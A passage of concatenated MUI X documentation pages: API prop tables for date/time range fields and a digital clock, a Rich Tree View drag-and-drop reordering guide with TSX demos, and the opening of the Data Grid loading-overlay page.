> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiMultiInputDateTimeRangeField` to change the default props of this component with the theme.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| root | `MultiInputRangeFieldRoot` | `.MuiMultiInputDateTimeRangeField-root` | Element rendered at the root. |
| separator | `MultiInputRangeFieldSeparator` | `.MuiMultiInputDateTimeRangeField-separator` | Element rendered between the two inputs. |
| textField | `<PickersTextField />, or <TextField /> from '@mui/material' if `enableAccessibleFieldDOMStructure` is `false`.` | - | Form control with an input to render a date.
It is rendered twice: once for the start date and once for the end date. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/MultiInputDateTimeRangeField/MultiInputDateTimeRangeField.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/MultiInputDateTimeRangeField/MultiInputDateTimeRangeField.tsx)

---

# Source: https://mui.com/x/api/date-pickers/multi-input-time-range-field.md

# MultiInputTimeRangeField API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Fields component](/x/react-date-pickers/fields/)
- Time Range Field

## Import

```jsx
import { MultiInputTimeRangeField } from '@mui/x-date-pickers-pro/MultiInputTimeRangeField';
// or
import { MultiInputTimeRangeField } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| ampm | `bool` | `adapter.is12HourCycleInCurrentLocale()` | No |  |
| autoFocus | `bool` | `false` | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| dateSeparator | `string` | `"–"` | No |  |
| defaultValue | `Array<object>` | - | No |  |
| direction | `'column-reverse' \| 'column' \| 'row-reverse' \| 'row' \| Array<'column-reverse' \| 'column' \| 'row-reverse' \| 'row'> \| object` | `'column'` | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableIgnoringDatePartForTimeValidation | `bool` | `false` | No |  |
| disablePast | `bool` | `false` | No |  |
| divider | `node` | - | No |  |
| format | `string` | - | No |  |
| formatDensity | `'dense' \| 'spacious'` | `"dense"` | No |  |
| maxTime | `object` | - | No |  |
| minTime | `object` | - | No |  |
| minutesStep | `number` | `1` | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onSelectedSectionsChange | `function(newValue: FieldSelectedSections) => void` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| referenceDate | `Array<object> \| object` | `The closest valid date using the validation props, except callbacks such as `shouldDisableDate`. Value is rounded to the most granular section used.` | No |  |
| selectedSections | `'all' \| 'day' \| 'empty' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'weekDay' \| 'year' \| number` | - | No |  |
| shouldDisableTime | `function(value: PickerValidDate, view: TimeView) => boolean` | - | No |  |
| shouldRespectLeadingZeros | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| spacing | `Array<number \| string> \| number \| object \| string` | `0` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| useFlexGap | `bool` | `false` | No |  |
| value | `Array<object>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiMultiInputTimeRangeField` to change the default props of this component with the theme.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| root | `MultiInputRangeFieldRoot` | `.MuiMultiInputTimeRangeField-root` | Element rendered at the root. |
| separator | `MultiInputRangeFieldSeparator` | `.MuiMultiInputTimeRangeField-separator` | Element rendered between the two inputs. |
| textField | `<PickersTextField />, or <TextField /> from '@mui/material' if `enableAccessibleFieldDOMStructure` is `false`.` | - | Form control with an input to render a date.
It is rendered twice: once for the start date and once for the end date. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/MultiInputTimeRangeField/MultiInputTimeRangeField.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/MultiInputTimeRangeField/MultiInputTimeRangeField.tsx)

---

# Source: https://mui.com/x/api/date-pickers/multi-section-digital-clock.md

# MultiSectionDigitalClock API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Date Time Picker](/x/react-date-pickers/date-time-picker/)
- Date Time Range Picker
- [Digital Clock](/x/react-date-pickers/digital-clock/)
- [Time Picker](/x/react-date-pickers/time-picker/)
- Time Range Picker

## Import

```jsx
import { MultiSectionDigitalClock } from '@mui/x-date-pickers/MultiSectionDigitalClock';
// or
import { MultiSectionDigitalClock } from '@mui/x-date-pickers';
// or
import { MultiSectionDigitalClock } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| ampm | `bool` | `adapter.is12HourCycleInCurrentLocale()` | No |  |
| autoFocus | `bool` | - | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| defaultValue | `object` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableIgnoringDatePartForTimeValidation | `bool` | `false` | No |  |
| disablePast | `bool` | `false` | No |  |
| focusedView | `'hours' \| 'meridiem' \| 'minutes' \| 'seconds'` | - | No |  |
| maxTime | `object` | - | No |  |
| minTime | `object` | - | No |  |
| minutesStep | `number` | `1` | No |  |
| onChange | `function(value: TValue, selectionState: PickerSelectionState \| undefined, selectedView: TView \| undefined) => void` | - | No |  |
| onFocusedViewChange | `function(view: TView, hasFocus: boolean) => void` | - | No |  |
| onViewChange | `function(view: TView) => void` | - | No |  |
| openTo | `'hours' \| 'meridiem' \| 'minutes' \| 'seconds'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| referenceDate | `object` | `The closest valid time using the validation props, except callbacks such as `shouldDisableTime`.` | No |  |
| shouldDisableTime | `function(value: PickerValidDate, view: TimeView) => boolean` | - | No |  |
| skipDisabled | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timeSteps | `{ hours?: number, minutes?: number, seconds?: number }` | `{ hours: 1, minutes: 5, seconds: 5 }` | No |  |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `object` | - | No |  |
| view | `'hours' \| 'meridiem' \| 'minutes' \| 'seconds'` | - | No |  |
| views | `Array<'hours' \| 'meridiem' \| 'minutes' \| 'seconds'>` | `['hours', 'minutes']` | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiMultiSectionDigitalClock` to change the default props of this component with the theme.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| digitalClockSectionItem | `MenuItem from '@mui/material'` | - | Component responsible for rendering a single multi section digital clock section item. |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/MultiSectionDigitalClock/MultiSectionDigitalClock.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/MultiSectionDigitalClock/MultiSectionDigitalClock.tsx)

---

# Source: https://mui.com/x/react-tree-view/rich-tree-view/ordering.md

---
productId: x-tree-view
title: Rich Tree View - Ordering
components: TreeItem, RichTreeViewPro, TreeItemDragAndDropOverlay
packageName: '@mui/x-tree-view'
githubLabel: 'scope: tree view'
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/treeview/
---

# Rich Tree View - Ordering [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Let users drag and drop items in the Tree View to reorder them.

## Enable drag-and-drop reordering

You can enable the drag-and-drop reordering of items by setting the `itemsReordering` prop to `true`:

```tsx
import Box from '@mui/material/Box';
import { TreeViewBaseItem } from '@mui/x-tree-view/models';
import { RichTreeViewPro } from '@mui/x-tree-view-pro/RichTreeViewPro';

const ITEMS: TreeViewBaseItem[] = [
  {
    id: 'grid',
    label: 'Data Grid',
    children: [
      { id: 'grid-community', label: '@mui/x-data-grid' },
      { id: 'grid-pro', label: '@mui/x-data-grid-pro' },
      { id: 'grid-premium', label: '@mui/x-data-grid-premium' },
    ],
  },
  {
    id: 'pickers',
    label: 'Date and Time Pickers',
    children: [
      { id: 'pickers-community', label: '@mui/x-date-pickers' },
      { id: 'pickers-pro', label: '@mui/x-date-pickers-pro' },
    ],
  },
  {
    id: 'charts',
    label: 'Charts',
    children: [{ id: 'charts-community', label: '@mui/x-charts' }],
  },
  {
    id: 'tree-view',
    label: 'Tree View',
    children: [{ id: 'tree-view-community', label: '@mui/x-tree-view' }],
  },
];

export default function DragAndDrop() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 300 }}>
      <RichTreeViewPro
        items={ITEMS}
        itemsReordering
        defaultExpandedItems={['grid', 'pickers']}
      />
    </Box>
  );
}

```

## Limit reordering

By default, all items are reorderable.
You can prevent reordering of specifc items using the `isItemReorderable` prop.
The following example shows how to only let users reorder the leaves using the [`getItemOrderedChildrenIds()`](/x/react-tree-view/rich-tree-view/items/#get-an-items-children-by-id) API method.

```tsx
import Box from '@mui/material/Box';
import { TreeViewBaseItem } from '@mui/x-tree-view/models';
import { RichTreeViewPro } from '@mui/x-tree-view-pro/RichTreeViewPro';
import { useRichTreeViewProApiRef } from '@mui/x-tree-view-pro/hooks';

const MUI_X_PRODUCTS: TreeViewBaseItem[] = [
  {
    id: 'grid',
    label: 'Data Grid',
    children: [
      { id: 'grid-community', label: '@mui/x-data-grid' },
      { id: 'grid-pro', label: '@mui/x-data-grid-pro' },
      { id: 'grid-premium', label: '@mui/x-data-grid-premium' },
    ],
  },
  {
    id: 'pickers',
    label: 'Date and Time Pickers',
    children: [
      { id: 'pickers-community', label: '@mui/x-date-pickers' },
      { id: 'pickers-pro', label: '@mui/x-date-pickers-pro' },
    ],
  },
  {
    id: 'charts',
    label: 'Charts',
    children: [{ id: 'charts-community', label: '@mui/x-charts' }],
  },
  {
    id: 'tree-view',
    label: 'Tree View',
    children: [{ id: 'tree-view-community', label: '@mui/x-tree-view' }],
  },
];

export default function OnlyReorderLeaves() {
  const apiRef = useRichTreeViewProApiRef();

  return (
    <Box sx={{ minHeight: 352, minWidth: 300 }}>
      <RichTreeViewPro
        items={MUI_X_PRODUCTS}
        itemsReordering
        defaultExpandedItems={['grid', 'pickers']}
        apiRef={apiRef}
        isItemReorderable={(itemId) =>
          apiRef.current!.getItemOrderedChildrenIds(itemId).length === 0
        }
      />
    </Box>
  );
}

```

You can also limit the items in which an item can be dropped using the `canMoveItemToNewPosition` prop.
The following example shows how to only let users reorder inside the same parent:

```tsx
import Box from '@mui/material/Box';
import { TreeViewBaseItem } from '@mui/x-tree-view/models';
import { RichTreeViewPro } from '@mui/x-tree-view-pro/RichTreeViewPro';

const MUI_X_PRODUCTS: TreeViewBaseItem[] = [
  {
    id: 'grid',
    label: 'Data Grid',
    children: [
      { id: 'grid-community', label: '@mui/x-data-grid' },
      { id: 'grid-pro', label: '@mui/x-data-grid-pro' },
      { id: 'grid-premium', label: '@mui/x-data-grid-premium' },
    ],
  },
  {
    id: 'pickers',
    label: 'Date and Time Pickers',
    children: [
      { id: 'pickers-community', label: '@mui/x-date-pickers' },
      { id: 'pickers-pro', label: '@mui/x-date-pickers-pro' },
    ],
  },
  {
    id: 'charts',
    label: 'Charts',
    children: [{ id: 'charts-community', label: '@mui/x-charts' }],
  },
  {
    id: 'tree-view',
    label: 'Tree View',
    children: [{ id: 'tree-view-community', label: '@mui/x-tree-view' }],
  },
];

export default function OnlyReorderInSameParent() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 300 }}>
      <RichTreeViewPro
        items={MUI_X_PRODUCTS}
        itemsReordering
        defaultExpandedItems={['grid', 'pickers']}
        canMoveItemToNewPosition={(params) =>
          params.oldPosition.parentId === params.newPosition.parentId
        }
      />
    </Box>
  );
}

```

## React to an item reordering

You can use the `onItemPositionChange` to send the new position of an item to your backend:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { TreeViewBaseItem } from '@mui/x-tree-view/models';
import {
  RichTreeViewPro,
  RichTreeViewProProps,
} from '@mui/x-tree-view-pro/RichTreeViewPro';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';

const MUI_X_PRODUCTS: TreeViewBaseItem[] = [
  {
    id: 'grid',
    label: 'Data Grid',
    children: [
      { id: 'grid-community', label: '@mui/x-data-grid' },
      { id: 'grid-pro', label: '@mui/x-data-grid-pro' },
      { id: 'grid-premium', label: '@mui/x-data-grid-premium' },
    ],
  },
  {
    id: 'pickers',
    label: 'Date and Time Pickers',
    children: [
      { id: 'pickers-community', label: '@mui/x-date-pickers' },
      { id: 'pickers-pro', label: '@mui/x-date-pickers-pro' },
    ],
  },
  {
    id: 'charts',
    label: 'Charts',
    children: [{ id: 'charts-community', label: '@mui/x-charts' }],
  },
  {
    id: 'tree-view',
    label: 'Tree View',
    children: [{ id: 'tree-view-community', label: '@mui/x-tree-view' }],
  },
];

export default function OnItemPositionChange() {
  const [lastReorder, setLastReorder] = React.useState<
    | Parameters<
        NonNullable<RichTreeViewProProps<any, any>['onItemPositionChange']>
      >[0]
    | null
  >(null);

  return (
    <Stack spacing={2}>
      <Box sx={{ minHeight: 352, minWidth: 300 }}>
        <RichTreeViewPro
          items={MUI_X_PRODUCTS}
          itemsReordering
          defaultExpandedItems={['grid', 'pickers']}
          onItemPositionChange={(params) => setLastReorder(params)}
        />
      </Box>
      {lastReorder == null ? (
        <Typography>No reorder registered yet</Typography>
      ) : (
        <Typography>
          Last reordered item: {lastReorder.itemId}
          <br />
          Position before: {lastReorder.oldPosition.parentId ?? 'root'} (index{' '}
          {lastReorder.oldPosition.index})<br />F Position after:{' '}
          {lastReorder.newPosition.parentId ?? 'root'} (index{' '}
          {lastReorder.newPosition.index})
        </Typography>
      )}
    </Stack>
  );
}

```

If you want to send the entire dataset to your backend, you can use the [`getItemTree()`](/x/react-tree-view/rich-tree-view/items/#get-the-current-item-tree) API method.
The following demo demonstrates it by synchronizing the first `RichTreeView` with the second one whenever you perform a reordering:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import { TreeViewBaseItem } from '@mui/x-tree-view/models';
import { RichTreeViewPro } from '@mui/x-tree-view-pro/RichTreeViewPro';
import { useRichTreeViewProApiRef } from '@mui/x-tree-view-pro/hooks';

const MUI_X_PRODUCTS: TreeViewBaseItem[] = [
  {
    id: 'grid',
    label: 'Data Grid',
    children: [
      { id: 'grid-community', label: '@mui/x-data-grid' },
      { id: 'grid-pro', label: '@mui/x-data-grid-pro' },
      { id: 'grid-premium', label: '@mui/x-data-grid-premium' },
    ],
  },
  {
    id: 'pickers',
    label: 'Date and Time Pickers',
    children: [
      { id: 'pickers-community', label: '@mui/x-date-pickers' },
      { id: 'pickers-pro', label: '@mui/x-date-pickers-pro' },
    ],
  },
  {
    id: 'charts',
    label: 'Charts',
    children: [{ id: 'charts-community', label: '@mui/x-charts' }],
  },
  {
    id: 'tree-view',
    label: 'Tree View',
    children: [{ id: 'tree-view-community', label: '@mui/x-tree-view' }],
  },
];

const getAllItemsWithChildrenItemIds = (items: TreeViewBaseItem[]) => {
  const itemIds: string[] = [];
  const registerItemId = (item: TreeViewBaseItem) => {
    if (item.children?.length) {
      itemIds.push(item.id);
      item.children.forEach(registerItemId);
    }
  };

  items.forEach(registerItemId);

  return itemIds;
};

export default function SendAllItemsToServer() {
  const apiRefTreeViewA = useRichTreeViewProApiRef();
  const [itemsTreeViewB, setItemsTreeViewB] = React.useState(MUI_X_PRODUCTS);

  const handleItemPositionChangeTreeViewA = () => {
    // We need to wait for the new items to be updated in the state
    setTimeout(() => {
      const newItemsTreeViewA = apiRefTreeViewA.current!.getItemTree();
      setItemsTreeViewB(newItemsTreeViewA);
    });
  };

  return (
    <Stack spacing={2}>
      <Box sx={{ minHeight: 352, minWidth: 300 }}>
        <RichTreeViewPro
          apiRef={apiRefTreeViewA}
          items={MUI_X_PRODUCTS}
          itemsReordering
          defaultExpandedItems={['grid', 'pickers']}
          onItemPositionChange={handleItemPositionChangeTreeViewA}
        />
      </Box>
      <Box sx={{ minHeight: 352, minWidth: 300 }}>
        <RichTreeViewPro
          items={itemsTreeViewB}
          expandedItems={getAllItemsWithChildrenItemIds(itemsTreeViewB)}
          isItemDisabled={() => true}
        />
      </Box>
    </Stack>
  );
}

```

## Customization

### Only trigger reordering from a drag handle

You can create a custom `TreeItem` component to render a drag handle icon and only trigger reordering when dragging from it:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import DragIndicatorIcon from '@mui/icons-material/DragIndicator';
import { RichTreeViewPro } from '@mui/x-tree-view-pro/RichTreeViewPro';
import { TreeViewBaseItem } from '@mui/x-tree-view/models';
import { useTreeItem, UseTreeItemParameters } from '@mui/x-tree-view/useTreeItem';
import {
  TreeItemContent,
  TreeItemIconContainer,
  TreeItemGroupTransition,
  TreeItemLabel,
  TreeItemRoot,
  TreeItemCheckbox,
} from '@mui/x-tree-view/TreeItem';
import { TreeItemIcon } from '@mui/x-tree-view/TreeItemIcon';
import { TreeItemProvider } from '@mui/x-tree-view/TreeItemProvider';
import { TreeItemDragAndDropOverlay } from '@mui/x-tree-view/TreeItemDragAndDropOverlay';

const MUI_X_PRODUCTS: TreeViewBaseItem[] = [
  {
    id: 'grid',
    label: 'Data Grid',
    children: [
      { id: 'grid-community', label: '@mui/x-data-grid' },
      { id: 'grid-pro', label: '@mui/x-data-grid-pro' },
      { id: 'grid-premium', label: '@mui/x-data-grid-premium' },
    ],
  },
  {
    id: 'pickers',
    label: 'Date and Time Pickers',
    children: [
      { id: 'pickers-community', label: '@mui/x-date-pickers' },
      { id: 'pickers-pro', label: '@mui/x-date-pickers-pro' },
    ],
  },
  {
    id: 'charts',
    label: 'Charts',
    children: [{ id: 'charts-community', label: '@mui/x-charts' }],
  },
  {
    id: 'tree-view',
    label: 'Tree View',
    children: [{ id: 'tree-view-community', label: '@mui/x-tree-view' }],
  },
];

interface CustomTreeItemProps
  extends
    Omit<UseTreeItemParameters, 'rootRef'>,
    Omit<React.HTMLAttributes<HTMLLIElement>, 'onFocus'> {}

const CustomTreeItem = React.forwardRef(function CustomTreeItem(
  props: CustomTreeItemProps,
  ref: React.Ref<HTMLLIElement>,
) {
  const { id, itemId, label, disabled, children, ...other } = props;

  const {
    getContextProviderProps,
    getRootProps,
    getContentProps,
    getIconContainerProps,
    getCheckboxProps,
    getLabelProps,
    getGroupTransitionProps,
    getDragAndDropOverlayProps,
    status,
  } = useTreeItem({ id, itemId, children, label, disabled, rootRef: ref });

  const { draggable, onDragStart, ...otherRootProps } = getRootProps(other);

  const handleDragStart = (event: React.DragEvent) => {
    if (!onDragStart) {
      return;
    }

    onDragStart(event);
    event.dataTransfer.setDragImage(
      (event.target as HTMLElement).parentElement!,
      0,
      0,
    );
  };

  return (
    <TreeItemProvider {...getContextProviderProps()}>
      <TreeItemRoot {...otherRootProps}>
        <TreeItemContent {...getContentProps()}>
          <TreeItemIconContainer {...getIconContainerProps()}>
            <TreeItemIcon status={status} />
          </TreeItemIconContainer>
          <TreeItemIconContainer draggable={draggable} onDragStart={handleDragStart}>
            <DragIndicatorIcon />
          </TreeItemIconContainer>
          <TreeItemCheckbox {...getCheckboxProps()} />
          <TreeItemLabel {...getLabelProps()} />
          <TreeItemDragAndDropOverlay {...getDragAndDropOverlayProps()} />
        </TreeItemContent>
        {children && <TreeItemGroupTransition {...getGroupTransitionProps()} />}
      </TreeItemRoot>
    </TreeItemProvider>
  );
});

export default function OnlyReorderFromDragHandle() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 300 }}>
      <RichTreeViewPro
        items={MUI_X_PRODUCTS}
        defaultExpandedItems={['grid', 'pickers']}
        itemsReordering
        slots={{ item: CustomTreeItem }}
      />
    </Box>
  );
}

```

## Common examples

### File explorer

The example below is a simplified version of the [file explorer](/x/react-tree-view/rich-tree-view/customization/#file-explorer) example with drag-and-drop reordering.
You can reorder items but only inside folders (or inside the trash).

```tsx
import * as React from 'react';
import { styled, alpha } from '@mui/material/styles';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import ArticleIcon from '@mui/icons-material/Article';
import DeleteIcon from '@mui/icons-material/Delete';
import FolderRounded from '@mui/icons-material/FolderRounded';
import ImageIcon from '@mui/icons-material/Image';
import PictureAsPdfIcon from '@mui/icons-material/PictureAsPdf';
import VideoCameraBackIcon from '@mui/icons-material/VideoCameraBack';
import { RichTreeViewPro } from '@mui/x-tree-view-pro/RichTreeViewPro';
import { useTreeItem, UseTreeItemParameters } from '@mui/x-tree-view/useTreeItem';
import {
  TreeItemCheckbox,
  TreeItemIconContainer,
  TreeItemLabel,
  TreeItemGroupTransition,
} from '@mui/x-tree-view/TreeItem';
import { TreeItemIcon } from '@mui/x-tree-view/TreeItemIcon';
import { TreeItemProvider } from '@mui/x-tree-view/TreeItemProvider';
import { TreeItemDragAndDropOverlay } from '@mui/x-tree-view/TreeItemDragAndDropOverlay';
import { useTreeItemModel } from '@mui/x-tree-view/hooks';
import { useRichTreeViewProApiRef } from '@mui/x-tree-view-pro/hooks';

type FileType = 'image' | 'pdf' | 'doc' | 'video' | 'folder' | 'pinned' | 'trash';

type FileItem = {
  fileType: FileType;
  id: string;
  label: string;
  children?: FileItem[];
};

const ITEMS: FileItem[] = [
  {
    id: '1',
    label: 'Documents',
    fileType: 'folder',
    children: [
      {
        id: '1.1',
        label: 'Company',
        fileType: 'folder',
        children: [
          { id: '1.1.1', label: 'Invoice', fileType: 'pdf' },
          { id: '1.1.2', label: 'Meeting notes', fileType: 'doc' },
          { id: '1.1.3', label: 'Tasks list', fileType: 'doc' },
          { id: '1.1.4', label: 'Equipment', fileType: 'pdf' },
          { id: '1.1.5', label: 'Video conference', fileType: 'video' },
        ],
      },
      { id: '1.2', label: 'Personal', fileType: 'folder' },
      { id: '1.3', label: 'Group photo', fileType: 'image' },
    ],
  },
  {
    id: '2',
    label: 'Bookmarked',
    fileType: 'folder',
    children: [
      { id: '2.1', label: 'Learning materials', fileType: 'folder' },
      { id: '2.2', label: 'News', fileType: 'folder' },
      { id: '2.3', label: 'Forums', fileType: 'folder' },
      { id: '2.4', label: 'Travel documents', fileType: 'pdf' },
    ],
  },
  { id: '3', label: 'History', fileType: 'folder' },
  { id: '4', label: 'Trash', fileType: 'trash' },
];

function DotIcon() {
  return (
    <Box
      sx={{
        width: 6,
        height: 6,
        borderRadius: '70%',
        bgcolor: 'warning.main',
        display: 'inline-block',
        verticalAlign: 'middle',
        zIndex: 1,
        mx: 1,
      }}
    />
  );
}
declare module 'react' {
  interface CSSProperties {
    '--tree-view-color'?: string;
    '--tree-view-bg-color'?: string;
  }
}

const TreeItemRoot = styled('li')(({ theme }) => ({
  listStyle: 'none',
  margin: 0,
  padding: 0,
  outline: 0,
  color: theme.palette.grey[400],
  ...theme.applyStyles('light', {
    color: theme.palette.grey[800],
  }),
}));

const TreeItemContent = styled('div')(({ theme }) => ({
  padding: theme.spacing(0.5),
  paddingRight: theme.spacing(1),
  paddingLeft: `calc(${theme.spacing(1)} + var(--TreeView-itemChildrenIndentation) * var(--TreeView-itemDepth))`,
  width: '100%',
  boxSizing: 'border-box', // prevent width + padding to overflow
  position: 'relative',
  display: 'flex',
  alignItems: 'center',
  gap: theme.spacing(1),
  cursor: 'pointer',
  WebkitTapHighlightColor: 'transparent',
  flexDirection: 'row-reverse',
  borderRadius: theme.spacing(0.7),
  marginBottom: theme.spacing(0.5),
  marginTop: theme.spacing(0.5),
  fontWeight: 500,
  '&[data-expanded]:not([data-focused], [data-selected]) .labelIcon': {
    color: theme.palette.primary.dark,
    ...theme.applyStyles('light', {
      color: theme.palette.primary.main,
    }),
    '&::before': {
      content: '""',
      display: 'block',
      position: 'absolute',
      left: '16px',
      top: '44px',
      height: 'calc(100% - 48px)',
      width: '1.5px',
      backgroundColor: theme.palette.grey[700],
      ...theme.applyStyles('light', {
        backgroundColor: theme.palette.grey[300],
      }),
    },
  },
  [`&[data-focused], &[data-selected]`]: {
    backgroundColor: theme.palette.primary.dark,
    color: theme.palette.primary.contrastText,
    ...theme.applyStyles('light', {
      backgroundColor: theme.palette.primary.main,
    }),
  },
  '&:not([data-focused], [data-selected]):hover': {
    backgroundColor: alpha(theme.palette.primary.main, 0.1),
    color: 'white',
    ...theme.applyStyles('light', {
      color: theme.palette.primary.main,
    }),
  },
}));

const TreeItemLabelText = styled(Typography)({
  color: 'inherit',
  fontFamily: 'General Sans',
  fontWeight: 500,
});

interface CustomLabelProps {
  children: React.ReactNode;
  icon?: React.ElementType;
  expandable?: boolean;
}

function CustomLabel({
  icon: Icon,
  expandable,
  children,
  ...other
}: CustomLabelProps) {
  return (
    <TreeItemLabel
      {...other}
      sx={{
        display: 'flex',
        alignItems: 'center',
      }}
    >
      {Icon && (
        <Box
          component={Icon}
          className="labelIcon"
          color="inherit"
          sx={{ mr: 1, fontSize: '1.2rem' }}
        />
      )}

      <TreeItemLabelText variant="body2">{children}</TreeItemLabelText>
      {expandable && <DotIcon />}
    </TreeItemLabel>
  );
}

const getIconFromFileType = (fileType: FileType) => {
  switch (fileType) {
    case 'image':
      return ImageIcon;
    case 'pdf':
      return PictureAsPdfIcon;
    case 'doc':
      return ArticleIcon;
    case 'video':
      return VideoCameraBackIcon;
    case 'folder':
      return FolderRounded;
    case 'trash':
      return DeleteIcon;
    default:
      return ArticleIcon;
  }
};

interface CustomTreeItemProps
  extends
    Omit<UseTreeItemParameters, 'rootRef'>,
    Omit<React.HTMLAttributes<HTMLLIElement>, 'onFocus'> {}

const CustomTreeItem = React.forwardRef(function CustomTreeItem(
  props: CustomTreeItemProps,
  ref: React.Ref<HTMLLIElement>,
) {
  const { id, itemId, label, disabled, children, ...other } = props;

  const {
    getContextProviderProps,
    getRootProps,
    getContentProps,
    getIconContainerProps,
    getCheckboxProps,
    getLabelProps,
    getGroupTransitionProps,
    getDragAndDropOverlayProps,
    status,
  } = useTreeItem({ id, itemId, children, label, disabled, rootRef: ref });

  const item = useTreeItemModel<FileItem>(itemId)!;

  let icon;
  if (status.expandable) {
    icon = FolderRounded;
  } else if (item.fileType) {
    icon = getIconFromFileType(item.fileType);
  }

  return (
    <TreeItemProvider {...getContextProviderProps()}>
      <TreeItemRoot {...getRootProps(other)}>
        <TreeItemContent {...getContentProps()}>
          <TreeItemIconContainer {...getIconContainerProps()}>
            <TreeItemIcon status={status} />
          </TreeItemIconContainer>
          <TreeItemCheckbox {...getCheckboxProps()} />
          <CustomLabel
            {...getLabelProps({
              icon,
              expandable: status.expandable && status.expanded,
            })}
          />
          <TreeItemDragAndDropOverlay {...getDragAndDropOverlayProps()} />
        </TreeItemContent>
        {children && <TreeItemGroupTransition {...getGroupTransitionProps()} />}
      </TreeItemRoot>
    </TreeItemProvider>
  );
});

export default function FileExplorer() {
  const apiRef = useRichTreeViewProApiRef<FileItem>();

  return (
    <RichTreeViewPro
      items={ITEMS}
      apiRef={apiRef}
      defaultExpandedItems={['1', '1.1']}
      sx={{ height: 'fit-content', flexGrow: 1, maxWidth: 400, overflowY: 'auto' }}
      slots={{ item: CustomTreeItem }}
      itemChildrenIndentation={24}
      itemsReordering
      canMoveItemToNewPosition={(params) => {
        return (
          params.newPosition.parentId === null ||
          ['folder', 'trash'].includes(
            apiRef.current!.getItem(params.newPosition.parentId).fileType,
          )
        );
      }}
    />
  );
}

```

---

# Source: https://mui.com/x/react-data-grid/overlays.md

# Data Grid - Overlays

The various Data Grid overlays.

## Loading overlay

To display a loading overlay and signify that the Data Grid is in a loading state, set the `loading` prop to `true`.

The Data Grid supports 3 loading overlay variants out of the box:

- `skeleton`: an animated placeholder of the Data Grid.
- `linear-progress`: an indeterminate linear progress bar.
- `circular-progress`: a circular loading spinner.

The type of loading overlay to display can be set via `slotProps.loadingOverlay` for the following two props:

- `variant` (default: `linear-progress`): when `loading` and there are rows in the table.
- `noRowsVariant` (default: `skeleton`): when `loading` and there are not any rows in the table.

```tsx
<DataGrid
  {...data}
  loading
  slotProps={{
    loadingOverlay: {
      variant: 'linear-progress',
      noRowsVariant: 'skeleton',
    },
  }}
/>
```

### Skeleton

An animated placeholder of the Data Grid.

```tsx
import Box from '@mui/material/Box';
import { useDemoData } from '@mui/x-data-grid-generator';
import { DataGrid } from '@mui/x-data-grid';

export default function LoadingOverlaySkeleton() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 9,
  });

  return (
    <Box sx={{ width: '100%', height: 400 }}>
      <DataGrid
        {...data}
        loading
        slotProps={{
          loadingOverlay: {
            variant: 'skeleton',
            noRowsVariant: 'skeleton',
          },
        }}
      />
    </Box>
  );
}

```

### Linear progress

An indeterminate linear progress bar.

```tsx
import Box from '@mui/material/Box';
import { useDemoData } from '@mui/x-data-grid-generator';
import { DataGrid } from '@mui/x-data-grid';

export default function LoadingOverlayLinearProgress() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 6,
  });

  return (
    <Box sx={{ width: '100%', height: 400 }}>
      <DataGrid
        {...data}
        loading
        slotProps={{
          loadingOverlay: {
            variant: 'linear-progress',
